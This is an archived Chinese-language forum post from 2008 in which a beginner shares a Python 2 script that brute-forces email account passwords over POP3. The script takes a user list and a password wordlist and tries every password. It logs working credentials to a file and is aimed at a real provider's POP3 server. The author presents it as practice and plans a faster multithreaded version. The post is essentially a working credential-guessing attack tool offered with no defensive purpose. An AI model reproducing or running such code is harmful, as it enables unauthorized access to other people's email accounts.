Python's Archiver

為方便港臺同胞閱覽,Python中國特別推出簡繁體內容轉換功能

xieaotian 发表于 2008-11-17 11:31

用python写的暴力破解email的代码

刚学python没几天,为了练下手

写了个暴力破解email的代码,不过是单线程的,速度不够快,失败恢复也不完整,

等把多线程看完了,再升级一下

import poplib
import string


def loadUserList(userDataFile):
     userList = []
     udf = open(userDataFile,'r')
     for user in udf:
         userList.extend(string.split(user))
     print '用户列表\n'.decode('utf-8'),userList[:]
     udf.close()
     return userList
   
def loadPassList(passDataFile, pos = 0, count = 1):
     passList=[]
     pdf = open(passDataFile, 'r')
     pdf.seek(pos)
     currentCount=0
     while (currentCount<count):
         passLine = pdf.readline()
         if (passLine):
             passLines = string.split(passLine)
             currentCount += len(passLines)
             passList.extend(passLines)
         else:
             break;
     currentPos=pdf.tell()
     pdf.close()
     return passList,currentPos

def checkUserPassword(userDataFile,passDataFile,resultDataFile,server):
     userList=loadUserList(userDataFile)
     resultFile = open(resultDataFile,'a')
     recordFile = open('e:\\record.txt','a')
     for user in userList:
         currentPos=0
         while(1):
             recordFile.write('%d\n' % currentPos)
             recordFile.flush()
             passList,currentPos=loadPassList(passDataFile,currentPos,20)
             if (passList):
                 try:
                     myPopClient = poplib.POP3(server)
                     print myPopClient.getwelcome()
                     myPopClient.user(user)
                     for pass_ in passList:
                         try:
                             myPopClient.pass_(pass_)
                         except poplib.error_proto:
                             print 'failed user:%s password:%s' % (user,pass_)
                             pass
                         else:
                             myPopClient.quit()
                             print 'success user:%s password:%s' % (user,pass_)
                             resultFile.write('%s %s\n'%(user,pass_))
                             break
                     else:
                         myPopClient.quit()
                         continue
                     break
                 except poplib.error_proto:
                     print "user can't"
                     myPopClient.quit()
                     break
             else:
                 break

     resultFile.close()
     recordFile.close()
            

checkUserPassword('e:\\user.txt','e:\\pass.txt','e:\\result.txt','pop3.163.com')

页: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.